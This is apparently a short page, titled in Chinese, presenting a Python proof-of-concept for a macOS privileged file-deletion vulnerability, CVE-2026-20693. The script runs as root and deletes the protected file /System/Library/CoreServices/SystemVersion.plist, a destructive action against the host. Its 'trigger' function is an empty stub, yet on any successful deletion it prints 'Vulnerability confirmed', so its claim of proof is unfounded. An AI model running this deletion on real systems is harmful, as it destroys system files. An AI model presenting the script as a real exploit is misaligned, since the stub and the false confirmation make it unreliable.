CVE-2026-20693 macOS 特权文件删除漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-20693 # Description: This script demonstrates the impact of the vulnerability where a root user # can delete protected system files due to improper state management. # Requirements: Root privileges on a vulnerable macOS version. import os import sys # Example target file that is usually protected by SIP or similar mechanisms TARGET_FILE = "/System/Library/CoreServices/SystemVersion.plist" def check_root(): """Check if the script is running as root.""" return os.geteuid() == 0 def trigger_vulnerability(): """Simulate the trigger for the state management issue.""" print("[*] Attempting to exploit state management bug...") # In a real exploit, specific API calls or memory manipulation would occur here # to put the system into a vulnerable state. pass def delete_protected_file(): """Attempt to delete the target file.""" if not check_root(): print("[-] Error: This script must be run as root.") sys.exit(1) if os.path.exists(TARGET_FILE): try: trigger_vulnerability() print(f"[*] Trying to delete {TARGET_FILE}...") os.remove(TARGET_FILE) print("[+] Success: Protected file deleted. Vulnerability confirmed.") except OSError as e: print(f"[-] Failed: {e}. System might be patched or SIP is blocking.") else: print(f"[-] Target file {TARGET_FILE} not found.") if __name__ == "__main__": delete_protected_file()